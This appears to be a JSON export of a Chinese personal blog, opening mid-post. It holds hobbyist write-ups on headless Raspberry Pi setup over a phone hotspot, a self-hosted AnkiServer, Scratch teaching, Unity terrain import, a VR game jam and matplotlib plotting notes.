SSH-2017-01-1\n论坛是要钱的，我这里有一个网盘链接，有我下载好的一些树莓派镜像，选择名字带SSH的那个。\nhttps://pan.baidu.com/s/1b8F3qiNjiqbzqtFnfd_4qw\n关于win系统烧录，百度教程很多我就不废话了，这里直接上工具下载链接。\nhttps://pan.baidu.com/s/1Vy1vV-E2O784RmV2oynzdQ\n我本来笔记本电脑是Ubuntu的，可以使用dd命令烧录，参考\nLinux命令行烧录树莓派镜像至SD卡\n不过我最后还是开了虚拟机，用的是win下的工具，因为我经常手滑输错盘符，上一次干这事的时候把系统洗了。：-（\n连接pi 在命令行下使用ssh连接PI的难点就在怎么获取pi的ip地址。网上许多教程有用网线连接的，连接路由器然后从路由器获取的。我在学校里，只有学校提供的校园网，而且校园网需要认证，连接时是会提示“拒绝”（我猜测是因为需要认证的原因，即使在同一个校园网）。就在我对着新买的网线发呆的时候，我在想可不可以用我的手机开流量热点，作为“路由器”，再套出 PI 的 IP ？然后我参考\n树莓派如何完全无头(无屏无网线无键盘鼠标)安装\n新建 ssh 文件和 wpa_supplicant.conf 文件，把 ssid 设置为我的手机热点名，密码是手机热点密码。\n参考教程的步骤如下：\n设置Wifi连接 这一步是本文最关键的一步，也是网上歧义分支最多的一步。在写这一步之前我想了一会儿，到底是应该先上结果还是先上过程。便于理解，还是先说过程的好；可是作为实用帖，先上结果比较有意思。 只需要如下几步即完成： Mac和Windows用户直接打开树莓派SD卡文件夹，Linux用户打开SD卡所呈现的两个分区中叫boot且内存极小的主分区（非树莓派文件系统分区） 在根目录放置一个文件名为ssh的文件，无后缀名，内容有没有都无所谓。Windows用户怎么操作可以自己百度下。 在根目录放置一个文件名为wpa_supplicant.conf的文件，内容如下：\ncountry=GB ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1 network={ ssid=\u0026#34;你的Wifi名称，注意大小写\u0026#34; psk=\u0026#34;你的Wifi密码\u0026#34; } 把SD卡插回树莓派，开机。\n一开始我还局限在用网线直连的思路里，想着怎么设置网络，从本机电脑扫描ip.可是 arp -a 了好几次依旧没有什么新变化。我都快要绝望了，直到我看到手机因QQ消息提醒亮起，通知栏提示两个设备已连接到热点，点击此处查看，然后我就点开了，然后就看到了我的电脑和raspbarrypi,点击 raspberrypi .\n激动到不知道该做什么表情。\n知道了ip连接就很容易了。官网教程：\n注意看，我没有插网线。\n参考ubuntu下使用VNC连接树莓派raspberry 连接桌面。\n自带walfram\n玩游戏，来一局消消乐吧。\n拼图游戏\n还有俄罗斯方块，打地鼠等等。\n邮件客户端\n其他 我之前买的转接口，用来连接电脑和派的。后来没用了。\n原本想去图书馆机房借用学校有HDMI的显示器，不过也失败了。\n网络上有提供绕过校园网认证的方法，我觉得太难了，看不懂，所以没有试过。\n使用手机热点连接的最大的缺点就是费流量，我这月又该冲话费了。\n最后忘了说我的环境了，本机Ubuntu16.04,虚拟机win10,树莓派-带SSH直连的，TF卡8G（官网上说至少8G，建议8G或以上，我因为学校文具店缺货，只买到了8G的卡）\n现在看来应该买16G或者32G的卡。\n成功连接后，我激动地对我亲爱的舍友说：“看，这是我大老婆”（指着笔记本电脑），“这是我二老婆”（指着树莓派）\n舍友神回复：\n“果然娶正房比妾室贵啊，而小妾更迷人。以前你睡的都很早，然而昨晚上你和二老婆夜战到两点还不睡”\n汗！\n","date":"2019-10-11T22:50:26Z","image":"https://bugatii100peaglepics.oss-cn-qingdao.aliyuncs.com/raspberrypi/assemblePi4.jpg","permalink":"/post/%E6%A0%91%E8%8E%93%E6%B4%BE%E5%AE%89%E8%A3%85%E6%89%8B%E8%AE%B0/","title":"树莓派安装手记"},{"content":"刚开始用 Anki ，它的服务器真是让人捉急，索性自己建一个。参考一下文档，几经挫折，我终于建立了我自己的 Anki 服务器，同步速度飞一般的感觉。\nLinux 下自建Anki服务器\n手把手教你搭建自己专属的Anki服务器\n阿里云主机(VPS主机)上搭建Anki服务器及Anki服务器搭建方案分析\n要成功搭建自己的 Anki 服务器，必备材料有：\n服务器（上阿里云租去，学生价只要九块九，阿里欠我一条广告费，:-P） AnkiSerer 程序 会操作 Vim或nano , ssh 连接 的程序员一枚 特别要注意的有\nAnkiServer 是一个 Python 包，使用 easy_install 安装。还未安装 easy_install 的可以参考linux下easy_install的安装与使用详解 安装。 production.ini 内的是服务器内网IP，客户端连接的是外网IP 全程在root下操作 Step 1 服务器配置 如果你已经有了一台服务器，那么登录并切换到 Root 下操作。然后下载 AnkiServer。\neasy_install AnkiServer 安装成功测试命令\nankiserverctl.py 注意看安装目录，下一步要复制的文件在安装目录下。一般是\n/usr/lib/python2.7/site-packages/AnkiServer-2.0.6-py2.7.egg/examples/ 如果不是这个目录，就看自己的安装目录在哪里，总之，要找到这个文件\nexample.ini 把它复制到 root 的根目录下，并改名为\nproduction.ini 修改 production.ini 文件内容并保存 (这里直接引用文章了)\nhost= x.x.x.x #自己服务器的内网地址也可是局域网IP allowed_hosts=0.0.0.0 #允许同步的客户端ip地址，使用0.0.0.0表示允许任何ip地址连接 要改的地方就两处，也就是上图红色框里的内容。这里的内网IP可以在云主机控制台查到。如下图红框所示。\n注意：27701 这个端口好不要改！！！\n然后添加用户，这里添加的用户是将来在Anki客户端登录时使用的用户,使用以下指令添加用户，然后输入对应的密码。\nankiserverctl.py adduser username #usename替换为你的用户名，如xiaoming ankiserverctl.py lsuser #列出用户列表，能看到上一步添加的用户即为成功 测试服务器\nankiserverctl.py debug 出现这样的窗口，一直不动，代表服务器调试正常。\n按 \u0026lt;Ctrl + c\u0026gt;结束调试，然后启动服务。\nankiserverctl.py start 最后，外网测试能否连上端口，输入外网IP 及 27701 端口号，查看端口是否开放。 T 在线工具，端口扫描\nStep2 客户端配置 PC 端： 打开 Anki -\u0026gt; 菜单栏 -\u0026gt;工具 -\u0026gt; 插件 -\u0026gt; 打开插件文件夹\n新建名为 mysyncserver.py 的文件并输入以下内容。\nimport anki.sync anki.sync.SYNC_BASE = \u0026#39;http://192.168.0.100:27701/\u0026#39; anki.sync.SYNC_MEDIA_BASE = \u0026#39;http://192.168.0.100:27701/msync/\u0026#39; 登陆失败的话，把上边最后的/号去掉。by zjq 2019-10-24\n修改 IP 地址为本机外网 IP，即公网IP。\n然后，保存，重启 Anki。照常登录，此处登录名和密码是刚刚 ankiserverctl.py adduser username 中的用户名和密码。然后同步就可以了\n安卓手机端： 左滑菜单-\u0026gt; 设置-\u0026gt;高级设置 -\u0026gt;自定义同步服务器\n网址要注意ankiserver预设是使用http而不是https\n然后照常登录就可以了。\n","date":"2019-10-11T22:42:24Z","image":"https://bugatii100peaglepics.oss-cn-qingdao.aliyuncs.com/2019-3/Anki/AnkiServerproini.png","permalink":"/post/%E9%98%BF%E9%87%8C%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%87%AA%E5%BB%BAankiserver/","title":"阿里云服务器自建AnkiServer"},{"content":"3月23日这天我参加了学校的招聘会，顺利拿到一个实习。简单来说我的工作就是教小孩子编程，最近Python火得一塌糊涂，连浙江小学都在学。我所在的机构提供小学这个阶段的编程教育，我很有幸能把自己的知识分享出去，尤其是分享给未来的AI一代。MIT(麻省理工大学)搞了一个叫Scratch的东西，是专门给小朋友设计的可视化编程工具。\nScratch - Imagine, Program, Share\n可视化我很熟悉，我上大学三年以来基本都在把各种数据用各种颜色各种图标画出来。不过这编程可视化与数据可视化有所不同。编程可视化或者叫可视化编程，是不需要在编辑器界面打代码的，它用‘积木’来‘搭建’程序。我在第二天去公司面试，当场给老板上手撸了个程序——辛德瑞拉的字符串，就顺利通过了。点击链接可以看到我在Scratch社区发布的项目，还可以在线运行一下试试，按“A”键开始。\n打开Scratch3.0的编辑界面就是这样的，他还提供了中文版的，对国内用户十分友好，翻译通俗易懂，我觉得这个简单到真的不需要太多说明了，只要识字就会了。即使零编程基础，随便拖几个积木玩玩，玩着玩着就会了。\n而且官方也附带入门教程，还有中文社区，也提供一些优秀作品以供学习。\n我的项目就是用了很多的角色控制的模块，核心功能就是那只鸽子做的字符串对比处理的工作，然后加了《灰姑娘》这个故事中的一些情节。字符串处理算是编程的一项基本功了，几乎每一门语言的新手入门教程都会有字符串的内容，当然找素数也是。 好像现代童话的《灰姑娘》删掉了一些情节，我记得我小时候读的《灰姑娘》有继母不让她参加舞会让他捡豆子的情节。现在大概觉得继母这样做有点神经质就取消掉了。哎，多好的教学素材。\n假设用字符“X”代表豆子，其他字符代表灰，那么继母的工作就是打乱一碗豆子（“XXXX”）与一堆灰（“SDhjdjgdwebdkwefe”）的排列顺序，这个豆-灰混合物就可以用“XsdadassXadasXXssdad”来表示，而仙女教母派来的鸽子就是把这个豆-灰混合物用经典算法冒泡排序中的方法，比较字符的值，挑出豆子（“XXXX”）。\n一开始，我的继母用的是官方的巫婆的那个形象，与目前这个版本比起来，那个后妈比较惊悚。给老板看了以后，她非常喜欢我做的这个项目，然后建议我换一个形象柔和一点，色彩明亮的人物，再加一个漂亮的背景，这样小孩子会比较喜欢。我努力回忆了一下童年看过的动画片，最后还是锁定了迪士尼版本的灰姑娘形象。童话梦工厂真的很梦幻。\n目前，这个项目还只不成熟。当时时间紧迫，我暂时随便抠了个图，人物有的地方缺了一大块。而且动画还没有配音，如果加上声音应该会很有喜感。\n","date":"2019-04-12T00:01:52Z","image":"https://bugatii100peaglepics.oss-cn-qingdao.aliyuncs.com/2019-3/ScratchNotes/ScratchEditor.png","permalink":"/post/scratch%E5%88%9D%E4%BD%93%E9%AA%8C/","title":"Scratch初体验"},{"content":"之前一直在折腾如何在Unity3D 中导入真实地形，第一个想法是用3DMax等工具读取 .dem 文件，然后导出为 .fbx 文件然后在Unity 中导入。原本尝试使用 91位图助手下载和处理高程数据，也可以在 3DMax 中建成地形模型，但是在导入 Unity3D 中总是出现问题。\n后来找到这篇文章，发现 Unity 自带导入地形的功能，而且非常好用。\nImporting Real World Unity Terrain Heightmap for free with terrain.party\n主要原理是用 Terrian 中的Heightmap 功能。废话不多，进入正式步骤。\n操作系统：Xubuntu 18.04\nUnity3D 版本： Linux 2018\nStep1 下载数据 https://terrain.party/\n登录该网站-\u0026gt;找到目的地-\u0026gt;选择边界范围-\u0026gt;下载。\n注意:\n中的 8km 为方框边长，可调范围在 8~60 km， 拖动方框选择要绘制地形的区域， 点击导出 ( Export ) 在弹出的窗口中输入项目名称，我一般以地名和方框大小值命名。 Step2 处理数据 解压数据后，用 GIMP 打开图片，在 Windows 上据说用 Photoshap 也可以。一般打开第二个图片(Merged)。\n使用导出功能导出为 data 文件。\n注意文件名的后缀要自己手动写 .data\n使用默认导出设置即可。\n然后，进入存放 .data 文件的目录。好了，到了秀一下操作的时候了。Unity 中要的是 .raw 文件，而我们现在得到的却是 .data 文件，怎么办？重命名一下即可 ，是的，重命名。因为 .data 和 .raw 是一种类型的数据，只是名字不同。\n把图上的 .data 改成 .raw 即可。\nStep3 导入模型 Unity中新建一个地皮(Terrian)\n点击“螺母”的按钮进入设置\n把上面的 长宽高 从 500 500 600 改做与 .raw 数据一致的。我一开始在网站上下载的就是 8km 的范围，所以这里应该填写 8000，高度值要改做2000(虽然不知道为啥，但是600的模型有问题)，所以这里就是改做 8000 8000 2000\n然后点击右下角的 【 Import Raw 】 ，选择刚刚导出的 .raw 文件。\n确保这里的 X Y Z 也是8000 8000 2000， 这里 Y 对应的是 Height ，其值为2000。1081对应的 Width 和 Height 不要改，是 raw 数据的。\n确认无误后点击 【Import】\n欧了！ 地图太大可能导入需要几分钟的时间才能完全导入。\n杂谈 其实一开始提供下载的网站不是很完美，精度太小，但好处是简约免费。其实只要有能把 灰度图 转成 .raw 数据 的工具即可。我记得 Matlab 或者 Python 这类万能的语言有图像处理的功能，如果不想下载 GIMP 或者 Photoshape 也可以尝试一下。\n地形区域建议选择正方形，因为在处理数据过程中，数据会经历多次翻转，长方形的话可能会在导入时长短边对不上导致地形变形（是变得本地人都认不出来的那种）。\n","date":"2018-12-25T16:49:04Z","image":"https://bugatii100peaglepics.oss-cn-qingdao.aliyuncs.com/2018-11/TerrianUnity/terrianubity14.png","permalink":"/post/unity3d%E5%AF%BC%E5%85%A5%E7%9C%9F%E5%AE%9E%E5%9C%B0%E7%90%86%E6%95%B0%E6%8D%AE/","title":"Unity3D导入真实地理数据"},{"content":"24小时开发一个游戏是什么感觉？24小时开发一个 VR 游戏是什么感觉？24小时开发一个有灯光有音效有互动的游戏是什么感觉？(⊙o⊙)…\n嗯，我现在困得慌。\n准确的说不是连续的24小时，是11月4日下午8小时，11月5日-6日的一个通宵15小时。我自己都不敢相信这么短的时间内可以一个人做到这种程度。基于 VRTk 插件的开发十分便捷，整个场景就是用官网的 37号例子 037_CameraRig_ClimbingFalling 修改的，手柄的控制加入了瞬移和高亮特效，加入了14号例子的剑，最后给原例子加贴图换模型，加光源和声效。\n游戏灵感来源十月新番——《刀剑神域 Alicization》，看番的时候就很想爬一爬公理教会的塔。灵感这东西，没有的时候怎么挤都挤不出来，一旦它涌上来就刹都刹不住车。在这两天的开发过程中，我几乎感觉不到累。4日晚上22点的时候，被创客中心的管理员催着回去的时候还不想回去，晚上睡觉做梦都梦到在爬塔，第二天上课的时候在神游，脑子里想的全是初级圣殿的灯光，剑的模型用什么，天空盒子，控制键要不要修改等等。一下课就飞奔去创客中心，这次我直接留在了中心指导第二天早上开发完。\n仿佛完成了一件了不起的事一样，瘫坐在椅子上，感受着那一股满足的成就感。这几天逢人便安利自己的游戏，可自豪了！\u0026lt;(￣︶￣)\u0026gt;\n现在也要再次安利一波。DJSYPY2.4\n点击下载即可，系统要求 Windows 64 位\n能链接VR眼镜的电脑基本都带的动，不能链接 VR 的电脑可以在本机上看场景，无法操作手柄。\n手柄就两个动作：\n扳机键(Trigger)可以扣住墙壁向上爬，拿起剑，拿起爱丽丝\n触摸板(Touchpad)可以瞬移\n祝君玩的开心！毕竟是处女作，还存在一些小Bug，如果发现了欢迎联系我。\n以下是游戏截图：\n","date":"2018-11-16T23:46:06Z","image":"https://bugatii100peaglepics.oss-cn-qingdao.aliyuncs.com/2018-11/DJSYPY/5.png","permalink":"/post/djsypy%E6%B8%B8%E6%88%8F%E5%BC%80%E5%8F%91%E4%BD%93%E9%AA%8C/","title":"DJSYPY游戏开发体验"},{"content":"下载代码和图片 今日项目 完成状态 待解决问题 预期目标或操作 作业4 画图 80% 无法计算假相当位温，溢出错误 使用Atmos或换用其他近似计算方法 作业4 问题 5.1日完成 \u0026ndash; \u0026ndash; 重要 注意exp在64位电脑上最大的计算值 备注 见下 总结 搞懂公式关系，善用python高级绘图命令 主要语法 设置要显示的区间位置 1plt.axis([x下界,x上界,y下界,y上界]) plt.contourf 与 plt.contour 区别 contour 绘制等高线 f：filled，也即对等高线间的填充区域进行填充（使用不同的颜色） contourf：将不会再绘制等高线（显然不同的颜色分界就表示等高线本身） 联合使用效果美观 反转坐标轴 1plt.gca().invert_yaxis() 2#或者 3plt.ylim(下界，上界) 4#反转坐标轴就是plt.ylim(大值，小值) 加标注，加标签 1plt.xticks([0,20,30]) 绘图控制 颜色（color 简写为 c） 线型（linestyle 简写为 ls） 蓝色 \u0026lsquo;b\u0026rsquo; (blue) 实线 \u0026lsquo;-\u0026rsquo; 绿色 \u0026lsquo;g\u0026rsquo; (green) 虚线 \u0026lsquo;\u0026ndash;\u0026rsquo; 红色 \u0026lsquo;r\u0026rsquo; (red) 虚点线 \u0026lsquo;-.\u0026rsquo; 蓝绿色(墨绿色) \u0026lsquo;c\u0026rsquo; (cyan) 点线 \u0026lsquo;:\u0026rsquo; 红紫色(洋红) \u0026rsquo;m\u0026rsquo; (magenta) 点 \u0026lsquo;.\u0026rsquo; 黄色 \u0026lsquo;y\u0026rsquo; (yellow) 黑色 \u0026lsquo;k\u0026rsquo; (black) 白色 \u0026lsquo;w\u0026rsquo; (white) 点型（标记marker） 点型（标记marker） 像素 \u0026lsquo;,\u0026rsquo; 细棱形 \u0026rsquo;d\u0026rsquo; 圆形 \u0026lsquo;o\u0026rsquo; 三脚架朝下 \u0026lsquo;1\u0026rsquo; 上三角 \u0026lsquo;^\u0026rsquo; 三脚架朝上 \u0026lsquo;2\u0026rsquo; 下三角 \u0026lsquo;v\u0026rsquo; 三脚架朝左 \u0026lsquo;3\u0026rsquo; 左三角 \u0026lsquo;\u0026lt;\u0026rsquo; 三脚架朝右 \u0026lsquo;4\u0026rsquo; 右三角 \u0026lsquo;\u0026gt;\u0026rsquo; 六角形 \u0026lsquo;h\u0026rsquo; 方形 \u0026rsquo;s\u0026rsquo; 旋转六角形 \u0026lsquo;H\u0026rsquo; 加号 \u0026lsquo;+\u0026rsquo; 五角形 \u0026lsquo;p\u0026rsquo; 叉形 \u0026lsquo;x\u0026rsquo; 垂直线 \u0026lsquo;|\u0026rsquo; 棱形 \u0026lsquo;D\u0026rsquo; 水平线 \u0026lsquo;_\u0026rsquo; 颜色参考 参考\npython中Matplotlib的坐标轴的坐标区间的设定\nplt.contour 与 plt.contourf\nInvert an axis in a matplotlib grafic 反转坐标轴\nReverse Y-Axis in PyPlot\n计算假相当位温Θse\u0026ndash;脚本非Python ，无参考性\n论假相当位温的数值计算_一_陈创买\nPython 使用matplotlib画图添加标注、及移动坐标轴位置 【python笔记】使用matplotlib,pylab进行python绘图\n设置特定值的等高线\n（原）python中matplotlib的颜色及线条控制\n","date":"2018-04-22T12:01:14Z","image":"https://bugatii100peaglepics.oss-cn-qingdao.aliyuncs.com/DownloadPart/T_LnP_CodesAndPictures/pycolor.png","permalink":"/post/%E5%A4%A7%E6%B0%94%E7%89%A9%E7%90%86%E4%BD%9C%E4%B8%9A4-%E5%BC%80%E5%8F%91%E6%96%87%E6%A1%A3/","title":"大气物理作业4 开发文档"}]